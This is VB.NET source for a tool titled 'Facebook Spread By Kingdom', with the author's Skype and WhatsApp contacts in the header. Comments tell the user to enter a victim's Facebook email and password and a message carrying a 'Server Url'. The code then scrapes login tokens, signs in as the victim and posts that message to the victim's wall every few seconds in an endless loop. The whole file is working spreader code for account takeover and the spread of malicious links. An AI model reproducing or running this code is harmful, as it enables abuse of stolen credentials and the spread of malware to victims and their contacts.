Facebook Spread By Kingdom

    ' ____  __.__              ________
    '|    |/ _|__| ____    ____\______ \   ____   _____
    '|      < |  |/    \  / ___\|    |  \ /  _ \ /     \
    '|    |  \|  |   |  \/ /_/  >    `   (  <_> )  Y Y  \
    '|____|__ \__|___|  /\___  /_______  /\____/|__|_|  /
    '        \/       \//_____/        \/             \/
    '
    ' Skype : KingDomSc - Whatsapp : 0599612955;
    ' To Send Your Message With Application Url For Victim Facebook Wall;
    '
    ' Usage :
    '
    ' Dim NewThread As New Threading.Thread(Sub() FacebookSpread("Email", "Password", "Message", Time)) : NewThread.Start()
    '
    ' Replace ( Email : With Victim Facebook Email );
    ' Replace ( Password : With Victim Facebook Password );
    ' Replace ( Message : With Your Message And Server Url );
    ' Replace ( Time : With Loop Time , For Example [ 2 = Two Secound ] Send Your Message Every Two Secound;
    '
    ' See You Later ^^;



    Function F1(email As String, Password As String, Cookies As CookieContainer) As Boolean
        Dim request As HttpWebRequest = HttpWebRequest.Create("https://m.facebook.com/login.php?refsrc=https%3A%2F%2Fm.facebook.com%2Flogin&lwv=100")
        request.CookieContainer = Cookies
        request.Method = "POST"
        request.UserAgent = "User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:46.0) Gecko/20100101 Firefox/46.0"
        request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
        request.Headers.Add("Accept-Language", "ar,en-US;q=0.7,en;q=0.3")
        request.Referer = "https://m.facebook.com/login"
        request.KeepAlive = True
        request.ContentType = "application/x-www-form-urlencoded"
        Dim source As String = Gets("https://m.facebook.com/login", Cookies)
        Dim postData As String = "lsd=" & Regex.Match(source, "<input type=""hidden"" name=""lsd"" value=""(.*?)"" autocomplete=""off"" />").Groups.Item(1).Value & "&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&version=1&ajax=0&width=0&pxr=0&gps=0&dimensions=0&m_ts=" & Regex.Match(source, "<input type=""hidden"" name=""m_ts"" value=""(.*?)"" />").Groups.Item(1).Value & "&li=" & Regex.Match(source, "<input type=""hidden"" name=""li"" value=""(.*?)"" />").Groups.Item(1).Value & "&email=" & email & "&pass=" & Password & "&login=%D8%AA%D8%B3%D8%AC%D9%8A%D9%84+%D8%A7%D9%84%D8%AF%D8%AE%D9%88%D9%84"
        Dim byteArray As Byte() = Encoding.UTF8.GetBytes(postData)
        request.ContentType = "application/x-www-form-urlencoded"
        request.ContentLength = byteArray.Length
        Dim dataStream As Stream = request.GetRequestStream()
        dataStream.Write(byteArray, 0, byteArray.Length)
        dataStream.Close()
        Dim response As HttpWebResponse = request.GetResponse()
        dataStream = response.GetResponseStream()
        Dim reader As New StreamReader(dataStream, Encoding.UTF8)
        Dim responseFromServer As String = reader.ReadToEnd()
        reader.Close()
        dataStream.Close()
        response.Close()
        Return Not responseFromServer.Contains("<title>أهلاً بك في فيسبوك</title>")
    End Function

    Function Gets(Url As String, Cookies As CookieContainer) As String
        Dim request As HttpWebRequest = HttpWebRequest.Create(Url)
        request.CookieContainer = Cookies
        request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:46.0) Gecko/20100101 Firefox/46.0"
        request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
        request.Headers.Add("Accept-Language", "ar,en-US;q=0.7,en;q=0.3")
        request.KeepAlive = True
        request.Credentials = CredentialCache.DefaultCredentials
        Dim response As HttpWebResponse = request.GetResponse()
        Dim dataStream As Stream = response.GetResponseStream()
        Dim reader As New StreamReader(dataStream, Encoding.UTF8)
        Dim responseFromServer As String = reader.ReadToEnd()
        reader.Close()
        response.Close()
        Return responseFromServer
    End Function

    Function SendMessage(Message As String, url As String, target As String, source As String, Cookies As CookieContainer) As String
        Dim request As HttpWebRequest = HttpWebRequest.Create(url)
        request.CookieContainer = Cookies
        request.Method = "POST"
        request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:46.0) Gecko/20100101 Firefox/46.0"
        request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
        request.Headers.Add("Accept-Language", "ar,en-US;q=0.7,en;q=0.3")
        request.Referer = "https://m.facebook.com/home.php?refsrc=https%3A%2F%2Fm.facebook.com%2Flogin%2F&_rdr"
        request.KeepAlive = True
        request.ContentType = "application/x-www-form-urlencoded"
        Dim fb_dtsg As String = Web.HttpUtility.UrlEncode(Regex.Match(source, "<input type=""hidden"" name=""fb_dtsg"" value=""(.*?)"" autocomplete=""off"" />").Groups.Item(1).Value).Replace("%3a", "%3A")
        Dim Priv As String = Regex.Match(source, "name=""privacyx"" value=""(.*?)""").Groups.Item(1).Value
        Dim postData As String = "fb_dtsg=" & fb_dtsg & "&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&privacyx=" & Priv & "&target=" & target & "&c_src=feed&cwevent=composer_entry&referrer=feed&ctype=inline&cver=amber&rst_icv=&xc_message=" & Web.HttpUtility.UrlEncode(Message) & "&view_post=%D9%86%D8%B4%D8%B1"
        Dim byteArray As Byte() = Encoding.UTF8.GetBytes(postData)
        request.ContentType = "application/x-www-form-urlencoded"
        request.ContentLength = byteArray.Length
        Dim dataStream As Stream = request.GetRequestStream()
        dataStream.Write(byteArray, 0, byteArray.Length)
        dataStream.Close()
        Dim response As HttpWebResponse = request.GetResponse()
        dataStream = response.GetResponseStream()
        Dim reader As New StreamReader(dataStream, Encoding.UTF8)
        Dim responseFromServer As String = reader.ReadToEnd()
        reader.Close()
        dataStream.Close()
        response.Close()
        Return responseFromServer
    End Function

    Sub FacebookSpread(Email As String, password As String, Message As String, Time As Integer)
Returned:
        Try
            Dim cookies1 As New CookieContainer
            If F1(Email, password, cookies1) = True Then
                Dim Source As String = Gets("https://m.facebook.com/", cookies1)
                Dim refid As String = Regex.Match(Source, "<input type=""hidden"" name=""refid"" value=""(.*?)"" />").Groups.Item(1).Value
                Dim Ext As String = Regex.Match(Source, "{""USER_ID"":""(.*?)"",""ACCOUNT_ID"":""(.*?)""}").Groups.Item(1).Value
                Dim Url As String = "https://m.facebook.com/composer/mbasic/?av=" & Ext & "&refid=" & refid
                Dim result As String = SendMessage("SoDid", Url, Ext, Source, cookies1)
                Threading.Thread.Sleep(Time * 1000)
                GoTo Returned
            Else : Exit Sub : End If
        Catch ex As Exception : Exit Sub : End Try
    End Sub